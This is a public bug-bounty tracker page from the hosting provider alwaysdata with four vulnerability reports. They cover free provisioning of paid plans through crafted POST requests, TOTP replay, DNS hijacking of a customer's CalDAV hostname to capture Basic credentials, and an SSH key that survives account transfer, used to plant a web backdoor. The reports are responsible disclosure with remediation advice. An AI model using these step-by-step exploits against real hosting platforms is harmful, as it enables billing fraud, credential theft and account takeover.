Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary Status Date closed
 490  Paid Hosting Plan Provisioned Without Payment  Closed23.09.2026 Task Description

Severity: Critical
CVSS Score 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)

Description
Any authenticated user on the free tier can provision paid hosting accounts (Small, Medium, Large, X-Large) without providing payment information. The account creation form at /admin/account/add/ accepts paid product IDs and provisions full resources immediately.
Additionally, existing accounts can be upgraded to any tier or downgraded to Free via the account edit form, all without payment validation.

Impact
• Resource Theft: Attacker gets up to 500GB disk, 8GB RAM, 8 CPU cores for free (X-Large plan worth €1,800/year)
• Infrastructure Abuse: SSH access auto-provisioned, cron jobs available for crypto mining/spam/C2
• Financial Loss: Each plan costs real money; mass abuse causes significant revenue loss
• Bidirectional Manipulation: Accounts can be downgraded to Free to evade billing, then upgraded again
• Repeat Exploitation: Single user account can create multiple paid accounts

Steps to Reproduce
Step 1: Login to admin.alwaysdata.com with a free-tier account
Step 2: Navigate to /admin/account/add/
Step 3: Submit the following POST request to create a paid account without payment:
• Request — Create Paid Account (Small Plan):

POST /admin/account/add/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU
Referer: https://admin.alwaysdata.com/admin/account/add/
Origin: https://admin.alwaysdata.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 164
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&name=paidtest2&password=TestPass123!&product=2008&period=1y&loc
ation=datacenter_3&contract_28=on&contract_36=on

HTTP/1.1 302 Found
Location: /subscription/
Server: nginx
Product IDs: 2008=Small (50GB/1GB/1CPU), 2009=Medium, 2010=Large, 2011=X-Large (500GB/8GB/8CPU), 2012=Free

Step 4: Verify the subscription page confirms the paid account:
GET /subscription/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o

HTTP/1.1 200 OK
Object: paidtest2 | Product: Small (50GB disk, 1GB RAM, 1 CPU) | Renewal: Oct. 22, 2026
Object: xltest | Product: X-Large (500GB disk, 8GB RAM, 8 CPU) | Renewal: Oct. 22, 2026 | €1,800.00
Step 5: Upgrade existing account to X-Large without payment:

POST /admin/account/501195/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU
Referer: https://admin.alwaysdata.com/admin/account/501195/
Content-Length: 65
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&product=2011

HTTP/1.1 302 Found
Location: /subscription/
product=2011 upgrades to X-Large (€1,800/year) — no payment required

Recommendation
Implement server-side payment verification before provisioning any non-free product.
Validate that:
(1) A valid payment method is on file,
(2) Sufficient balance exists or payment is authorized,
(3) The requested product change is within the customer's billing tier.

488TOTP Missing Single Use EnforcementAssigned Task Description

Hi,

I identified a vulnerability in the admin panel's TOTP implementation that allows the same OTP to be successfully reused multiple times within the server's approximately 90-second acceptance window.

I understand that similar TOTP-related reports have previously been submitted and closed as duplicate or invalid. In particular, in report  FS#204  – “Expired TOTP Code Accepted – Broken 2FA Validation,” the following explanation was provided:

“We do accept OTP that are slightly expired to accommodate for network or human latency, as suggested in RFC 6238 Section 5.2.”

I agree that accepting a TOTP from a previous time step can be legitimate. Authenticator applications typically generate a new TOTP every 30 seconds, while the server may allow a limited tolerance window to account for network latency, clock differences, or transmission delays.

RFC 6238 Section 5.2 explicitly acknowledges this requirement:

“A validation system SHOULD typically set a policy for an acceptable OTP transmission delay window for validation.”

It further explains that the validator may compare the submitted OTP against previous timestamps within the permitted transmission-delay window. Therefore, I understand the reasoning behind allowing an OTP to remain acceptable beyond its exact 30-second generation window.

However, the vulnerability I am reporting is not simply that an older TOTP remains valid within the configured acceptance window. The issue is that after a TOTP has already been successfully used for authentication, the exact same TOTP can be reused multiple times to perform additional successful logins and establish new authenticated sessions.

RFC 6238 Section 5.2 explicitly addresses this behavior:

“The verifier MUST NOT accept the second attempt of the OTP after the successful validation”

The RFC explains that this requirement ensures one-time-only use of an OTP.

The same OTP can continue producing successful authentications until it eventually falls outside the server's acceptance window. This is different from accepting an unused OTP from a previous time step to accommodate latency.

Therefore, I am not disputing the server's use of a tolerance window. The specific issue being reported is the lack of single-use enforcement after successful TOTP validation.

Once a TOTP has successfully authenticated a user, subsequent authentication attempts using that same TOTP should be rejected, regardless of whether the code is still within the server's configured time tolerance.

I therefore request that the finding be reviewed specifically as a TOTP replay / missing single-use enforcement vulnerability, rather than solely as an expired-TOTP validation issue, and that server-side replay protection be implemented in accordance with RFC 6238 Section 5.2. I am not attaching any PoC or evidence because this issue is well know by you team but still if you require PoC let know I have a prepared script and screenshots to demonstrate it.

 485  Cross-Customer Account Takeover via CalDAV Hostname Sei ...Closed21.09.2026 Task Description

VULNERABILITY INFORMATION:

Name of Vulnerability: An incomplete service-prefix blocklist on the account "name" field lets one customer claim the DNS record of another customer's CalDAV or CardDAV service in the shared alwaysdata.net zone.

The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account's default address does not run that check. As a result, the DNS record is silently reassigned and the victim's client can deliver its HTTP Basic credential to the attacker over Alwaysdata's own wildcard certificate.

Vulnerability Category:
Access Control Issues / Broken authentication & session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.

Description:

An account's name is used to generate that account's per-service alwaysdata.net zone.

You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.

"imap-" and "carddav-" are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.

Creating a free account called:

caldav-<victim>

therefore takes over:

caldav-<victim>.alwaysdata.net

which is the CalDAV endpoint your own panel tells customer <victim> to configure.

The DNS record moves to the attacker's web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker's own web root.

That password is the account's service password described at /admin/account/add/ as being used for default users such as FTP, MySQL and SSH.

Two code paths disagree, and that disagreement is the defect.

The user-facing site address field correctly refuses a hostname the attacker does not own:

caldav-vk7victim.alwaysdata.net

is rejected with:

"The domain name alwaysdata.net does not belong to you"

and:

vk7victim.alwaysdata.net

is rejected with:

"delegated to the vk7victim account".

The auto-provisioner's DEFAULT address on account creation does not run that check.

Only the path a customer cannot see is blind.

SCOPE NOTE, established by testing rather than assumed:

Of the four forgotten prefixes, only "caldav-" and "carddav-" are exploitable this way because those services run over the ports the attacker's web node serves.

I checked the other prefixes rather than claiming them:

```
185.31.41.11 the attacker's web node 443 OPEN 993 closed 110 closed
185.31.40.62 the real IMAP and POP host 993 OPEN 995 OPEN 143 OPEN 443 closed
185.31.41.92 the real CalDAV host 443 OPEN 993 closed
```

Seizing imap-<victim> or pop-<victim> therefore points the victim's mail hostname at a host where the relevant mail ports are closed. That disrupts the victim's mail rather than capturing credentials.

Because mail service is outside the programme's scope, I make NO claim about those two prefixes beyond the blocklist gap itself.

Everything below is specific to caldav- and carddav-.

Vulnerable Instances:

POST https://admin.alwaysdata.com/admin/account/add/ field "name"

POST https://admin.alwaysdata.com/account/<id>/rename/
field "name"

POST https://www.alwaysdata.com/en/register/ free self-service signup, no captcha

The DNS auto-provisioner creates an account's default alwaysdata.net zone.

Steps to Reproduce:

Total cost: EUR 0, approximately four minutes.

Every account involved is one I own, and the "victim" record belongs to my own second account.

1. The blocklist gap.

 Each row below is a single POST to /admin/account/add/ showing the validator's verdict on the name field.
 ssh-vk7victim         -> "This name contains an invalid prefix."
 ftp-vk7victim         -> "This name contains an invalid prefix."
 smtp-vk7victim        -> "This name contains an invalid prefix."
 webdav-vk7victim      -> "This name contains an invalid prefix."
 mysql-vk7victim       -> "This name contains an invalid prefix."
 postgresql-vk7victim  -> "This name contains an invalid prefix."
 rabbitmq-vk7victim    -> "This name contains an invalid prefix."
 services-vk7victim    -> "This name contains an invalid prefix."
 imap-vk7victim        -> ACCEPTED, no prefix error
 pop-vk7victim         -> ACCEPTED, no prefix error
 caldav-vk7victim      -> ACCEPTED, no prefix error
 carddav-vk7victim     -> ACCEPTED, no prefix error
 The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.
 Uniqueness is case-insensitive, so VK7RESEARCH is refused.

2. Obtain a second free account.

 /admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.
 POST https://www.alwaysdata.com/en/register/
 email=<ours>[+x@alwaysdata.net](mailto:+x@alwaysdata.net) & password=... & privacy_policy=on
  1. > HTTP 302

Location: /login/?user_id=<dec>&expiration=<ts>&token=<epoch>-<hmac>

 Plus addressing on my own platform mailbox works, so the validation message can be received.
 imap-<ours>.alwaysdata.net:993 with the service password.
 I completed:
 /user/validate/?user_id=<b36>&token=...
 and then POST /login/.

3. Record the victim's CalDAV record BEFORE the attack.

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.92

the shared Radicale CalDAV host

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA
  1. > 2a00:b6e0:1:90:8::1

4. Create the colliding account.

 One request, with no warning or confirmation:
 POST https://admin.alwaysdata.com/admin/account/add/
 Referer: https://admin.alwaysdata.com/admin/account/add/
 csrfmiddlewaretoken=<tok>&name=caldav-vk7victim&password=<pw>&product=2012&period=1mo
 &location=datacenter_3&contract_28=on&contract_36=on
  1. > HTTP 302

Location: /subscription/

 /subscription/ then lists:
 caldav-vk7victim | Free (1GB disk, 256M...)
 account 500765, subscription 520987
 with a default site 1078599 and subdomain object 1351172 for:
 caldav-vk7victim.alwaysdata.net

5. The victim's record has moved.

 I queried the authoritative nameserver so this is not a local cache artefact.
 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

the shared web node serving the attacker's new account

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 2a00:b6e0:1:20:23::1
 $ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.11

6. The edge supplies valid TLS for the stolen name, so the victim's client sees no warning.

 $ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443 
 -servername caldav-vk7victim.alwaysdata.net
  1. > subject=CN=*.alwaysdata.net
  2. > issuer=C=US, O=Let's Encrypt, CN=YE1
  3. > X509v3 Subject Alternative Name:

DNS:*.alwaysdata.net, DNS:alwaysdata.net

  1. > notBefore=Sep 15 06:30:39 2026 GMT
  2. > notAfter=Dec 14 06:30:38 2026 GMT

7. The credential channel terminates in the attacker's web root.

 The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.
 $ curl -D- https://caldav-vk7research.alwaysdata.net/
  1. > HTTP/1.0 401
  2. > www-authenticate: Basic realm="Radicale - Password Required"
  3. > server: WSGIServer/0.2 CPython/3.11.2
 A one-line index.php in the attacker account's web root echoes the Authorization header.
 Simulating the client your own documentation tells account vk7victim to configure:
 $ curl -H "User-Agent: DAVx5/4.3.1 okhttp/4.12" 
 -u 'vk7victim:<placeholder>' 
 https://caldav-vk7victim.alwaysdata.net/index.php
  1. > HTTP/2 200
  2. > via: 2.0 alproxy
  3. > served by account: caldav-vk7victim on host http22
  4. > Host header: caldav-vk7victim.alwaysdata.net
  5. > Authorization header received: Basic dms3dmljdGltOi4uLg==
 The value in this request is a PLACEHOLDER, not the account's real password.
 The important point is that the credential channel for the victim's hostname terminates in an unrelated EUR 0 account's web root, inside a TLS session that Alwaysdata itself certified.

8. Additional defect found while remediating: releasing the name does not restore the DNS record.

 POST /account/500765/rename/
 name=zztestl6dns
  1. > HTTP 302
 $ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net
  1. > 185.31.41.92

the new name provisioned correctly

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

STILL pointing at the attacker's node

 Therefore, the hijack outlives the account name that caused it.
 A no-op rename did not restore it either.
 This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).

9. Controls that rule out alternative explanations.

 a. The records are real per-account entries, not a wildcard.
 $ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net
  1. > no matching account record
 b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:
 caldav-vk7research.alwaysdata.net   A -> 185.31.41.92
 carddav-vk7research.alwaysdata.net  A -> 185.31.41.92
 imap-vk7research.alwaysdata.net     A -> 185.31.40.62
 $ curl -o /dev/null -w '%{http_code} %{remote_ip}' 
 https://caldav-vk7research.alwaysdata.net/
  1. > 302 185.31.41.92
 c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:
 ssh-nosuchacct9912  -> blocked
 pop-nosuchacct9912  -> accepted
 d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.
 Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:
 vk7victim.alwaysdata.net
 caldav-vk7victim.alwaysdata.net
 imap-vk7victim.alwaysdata.net
 ssh-vk7victim.alwaysdata.net
 The control that proves my request shape was correct:
 vk7research.alwaysdata.net/orchctl
 returned HTTP 302 in the identical request and was persisted and read back.

Proof of Concept:

Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.

The DNS value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did not point a real third party's calendar client at the seized hostname.

The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.

* I did not use a captured credential against FTP, MySQL or SSH.

The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.

* The remaining step is standard DAV client behaviour rather than speculation.

A client configured for caldav-<victim>.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.
Nothing about the victim's configuration changes and nothing prompts them.
I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.

* I did not claim imap- or pop- seizure as credential capture. See the scope note above.

* The one artefact I cannot repair myself is in step 8:

caldav-vk7victim.alwaysdata.net
still resolves to:
185.31.41.11
as of this report.
Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.
Please restore it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Account creation was limited to the single extra account required for the test.

Impact:

With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.

The victim's client can then send the account's service password to the attacker over valid TLS, with no certificate warning and no user action beyond its normal scheduled sync.

Because that password is shared with FTP, MySQL and SSH according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim's broader hosting account.

The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.

The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.

On the two exclusions in your rules that could be misread onto this finding:

First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer's site or anything a customer configured.

The provisioning code operates in a DNS zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.

Second, the fact that account names may be discoverable in many different ways does not change the finding.

I am not reporting account name disclosure. The account name is simply the input that selects which victim's DNS record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.

On duplication with  FS#348 :

That report, "Subdomain Squatting on alwaysdata.net Platform Namespace", was closed Invalid and concerned claiming unused labels.

This finding takes an existing hostname that already resolves for a live customer and reassigns its DNS record.

Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker's web node, while four sibling records remain unchanged as controls in step 9b.

The defect is therefore in the provisioner's collision handling, not in the availability of an unused name.

What this achieves that a customer's own SSH shell cannot:

It allows a customer to rewrite a DNS record in a zone they do not own and redirect another customer's service hostname to infrastructure controlled by the attacker.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because every step is performed through network requests.

AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.

PR:L because a free account is required.

UI:N because no victim interaction is required to perform the DNS reassignment. The victim's client sends the credential on its own next scheduled sync, without prompting the victim.

S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared DNS zone and another customer's account.

C:H because the captured credential is the account's service password.

I:H and A:H because the shared password is used across FTP, MySQL and SSH, and because the victim loses the CalDAV/CardDAV service itself.

If you prefer to treat the client's next reconnection as user interaction, the score would be lower.

The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.

Recommendation:

1. Complete the prefix blocklist.

 Add all omitted service prefixes, including:
 "imap-"
 "pop-"
 "pop3-"
 "caldav-"
 "carddav-"
 Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.

2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form.

 A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.

3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.

4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.

5. Consider not sharing one password across web, FTP, SSH and MySQL.

 Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.
 483  Account transfer leaves previous owner with permanent u ...Closed16.09.2026 Task Description

# alwaysdata — Account transfer leaves the previous owner with permanent, unrevocable SSH access

Researcher: (submit via security.alwaysdata.com task)
Target: https://admin.alwaysdata.com/ssh/ (panel) + ssh-<account>.alwaysdata.net
Severity: Critical (CVSS 3.1 ≈ 9.1 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Date: 2026-09-16

## Summary

An alwaysdata account can be transferred from one profile to another (`Transfers → Transfer a → account`).
When the account changes hands, the previous owner keeps full SSH shell access to it — provided they
planted an SSH public key while they still owned the account.

The key survives the ownership change, is not visible anywhere in the new owner's panel or in the API,
and keeps working after the new owner rotates the SSH user's password. The SSH user also cannot be
deleted
— the panel renders the delete control disabled with `title="Impossible deletion"` — so the new
owner has no way inside the platform to remove the previous owner's access.

Net effect: the new owner receives an account that a third party they know nothing about can still log
into, read, and write.

## Affected asset

- `https://admin.alwaysdata.com/transfer/` — account transfer flow
- `https://admin.alwaysdata.com/ssh/` and `https://admin.alwaysdata.com/ssh/<id>/` — SSH user management
- `ssh-<account>.alwaysdata.net` — SSH endpoint
- Underlying defect: `~/.ssh/authorized_keys` of the account's SSH user is account content that survives

the ownership change, while the management surface exposes only `name / password / home_directory /
shell / can_use_password / annotation` (verified against `https://api.alwaysdata.com/v1/ssh/doc/`).
There is **no field anywhere for SSH public keys**.

## Reproduction

Two accounts, both owned by me, on the same platform. No third-party data is involved.

Roles: A = the victim (new owner), B = the previous owner (`adsecb01`, account id 499971).

1. As B, add my SSH public key to the account's SSH user:

 ```
 ssh B@ssh-adsecb01.alwaysdata.net      # password login
 mkdir -p ~/.ssh && chmod 700 ~/.ssh
 echo "ssh-ed25519 AAAA...C1lZDI1NTE5AAAAI... stale-access-test" >> ~/.ssh/authorized_keys
 chmod 600 ~/.ssh/authorized_keys
 ```
 Verify key-only login works (no password):
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) gid=501971(adsecb01) groups=501971(adsecb01)
 ```

2. As B, transfer the account to A: `Transfers → Transfer a → account → new owner: A's email`.

 As **A**, accept it: `Transfers` → Accept → tick *Special conditions (shared hosting)* and
 *Terms of use* → Submit.
 → `Transfers` shows "No pending transfer" and A's `Subscriptions` now lists `adsecb01`.

3. The panel access of B is correctly revoked (B's account selector is empty, none of B's pages

 mention `adsecb01` any more) — **but the key still logs in**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) ...
 ```

4. A hardens the account the only way the panel allows: `SSH users → adsecb01 → set a new password →

 Submit`. The old password stops working:
 ```
 ssh B@ssh-adsecb01.alwaysdata.net   # password auth with the old password
 → Permission denied, please try again.
 ```
 …and the planted key **still works**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net "echo KEY_STILL_WORKS_AFTER_ROTATION"
 → KEY_STILL_WORKS_AFTER_ROTATION
 ```

5. There is no way for A to remove it from the panel:

  1. the `SSH users` row for `adsecb01` — the user whose name matches the account, i.e. the one carrying

the planted key — renders its delete control as

   `<i class="far fa-trash-alt disabled" alt="Impossible deletion" title="Impossible deletion"></i>`
   with **no delete link at all**, and this stays disabled even after A adds a second SSH user
   (`adsecb01_safe`), whose own delete link *is* active. So the primary SSH user cannot be removed by
   the owner, ever, through the panel;
 - `https://admin.alwaysdata.com/ssh/537923/` offers only *Name / Password / Home directory / Shell /
   Enable password-based login / Annotation* — no key management;
 - the `ssh` API resource (`https://api.alwaysdata.com/v1/ssh/doc/`) exposes `id, href, name, password,
   home_directory, shell, can_use_password, annotation` — no key-related field.
 The single remaining remediation is to log in over SSH and empty `~/.ssh/authorized_keys` by hand —
 which presupposes the new owner already knows a foreign key is there, and nothing in the client area,
 the transfer notification, the SSH user page or the API tells them that.

6. Proof of actual read/write on the new owner's data — A writes files, B reads/writes with the key only:

 ```
 # as A (new owner, with the rotated password)
 echo 'SECRET-OF-NEW-OWNER' > ~/newowner_private.txt
 echo 'NEW-OWNER-DEPLOYMENT' > ~/www/deployed_by_new_owner.html
 # as B (previous owner, no password, key only)
 cat ~/newowner_private.txt          → SECRET-OF-NEW-OWNER
 echo '<h1>PWNED-BY-PREVIOUS-OWNER</h1>' > ~/www/prev_owner_backdoor.html
 ```
 The planted file is served publicly from the new owner's domain:
 ```
 curl https://adsecb01.alwaysdata.net/prev_owner_backdoor.html
 → 200 <h1>PWNED-BY-PREVIOUS-OWNER</h1>
 ```

## Impact

A previous owner retains persistent, password-independent, panel-invisible shell access to an account
that now belongs to someone else. From that position they can read, modify or delete the new owner's files,
databases, mail configuration and deployed code; run arbitrary processes under the account; plant web
backdoors reachable over the account's public domain; and re-establish access at will.

The compromise is designed-in by the platform, not by user error: the new owner sees the SSH user, cannot
delete it ("Impossible deletion"), has no UI or API to inspect its authorized keys, and rotating the
password — the natural harden-after-receiving-an-account action — does not revoke the attacker's key.
Nothing in the client area signals that a third party still holds working credentials.

This is the same class as two reports you already fixed and paid:
-  FS#139  — *Session Persistence After Subdomain Reuse or Transfer Leads to Email Account Takeover*
-  FS#294  — *Persistent Owner Access Leads to Mailing Takeover After Domain Transfer*

Both relied on the same principle: an ownership change must terminate the previous owner's access.
The transfer of an account (rather than a subdomain or a mailing) still does not do that for SSH keys.

## Recommendation

1. On account transfer, revoke the previous owner's credentials: clear (or rotate) the account's SSH

 `authorized_keys`, and/or force regeneration of the account's SSH users and their passwords.

2. Expose SSH public keys as first-class objects (field on the SSH user, panel UI + `ssh` API resource)

 so the owner can see and delete every key that grants access.

3. Allow deleting/replacing the last SSH user (currently blocked as "Impossible deletion"), or at minimum

 allow clearing its authorized keys.

4. Notify the new owner when an account arrives with pre-existing SSH keys, and record a transfer-time

 event in `Logs` that lists the credentials that were active at handover.

## Notes on testing discipline

- All testing used two accounts I own; no other customer's data was accessed. The key, the files and the

web backdoor live on my own free-tier accounts and can be left in place for your retest.

- No automated scanners were used, no DoS, no third-party assets.

Showing tasks 1 - 4 of 4 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing